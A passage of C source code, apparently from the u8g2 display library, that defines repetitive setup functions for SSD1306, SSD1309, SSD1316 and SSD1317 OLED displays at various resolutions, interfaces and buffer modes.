u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_6_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_6_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_6_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_6_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_6_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_6_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_6_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_2_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_2_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_2_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_2_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_2_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_2_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 */ /* ssd1309 1 */ void u8g2_Setup_ssd1309_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 2 */ void u8g2_Setup_ssd1309_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 f */ void u8g2_Setup_ssd1309_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 */ /* ssd1309 1 */ void u8g2_Setup_ssd1309_i2c_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 2 */ void u8g2_Setup_ssd1309_i2c_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 f */ void u8g2_Setup_ssd1309_i2c_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 */ /* ssd1309 1 */ void u8g2_Setup_ssd1309_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 2 */ void u8g2_Setup_ssd1309_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 f */ void u8g2_Setup_ssd1309_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 */ /* ssd1309 1 */ void u8g2_Setup_ssd1309_i2c_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 2 */ void u8g2_Setup_ssd1309_i2c_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1309 f */ void u8g2_Setup_ssd1309_i2c_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 */ /* ssd1316 1 */ void u8g2_Setup_ssd1316_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 2 */ void u8g2_Setup_ssd1316_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 f */ void u8g2_Setup_ssd1316_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 */ /* ssd1316 1 */ void u8g2_Setup_ssd1316_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 2 */ void u8g2_Setup_ssd1316_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 f */ void u8g2_Setup_ssd1316_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 */ /* ssd1316 1 */ void u8g2_Setup_ssd1316_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 2 */ void u8g2_Setup_ssd1316_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 f */ void u8g2_Setup_ssd1316_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 */ /* ssd1316 1 */ void u8g2_Setup_ssd1316_i2c_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 2 */ void u8g2_Setup_ssd1316_i2c_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1316 f */ void u8g2_Setup_ssd1316_i2c_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_96x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1317 */ /* ssd1317 1 */ void u8g2_Setup_ssd1317_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1317 2 */ void u8g2_Setup_ssd1317_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1317 f */ void u8g2_Setup_ssd1317_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1317 */ /* ssd1317 1 */ void u8g2_Setup_ssd1317_i2c_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1317 2 */ void u8g2_Setup_ssd1317_i2c_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1317_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1317 f */ 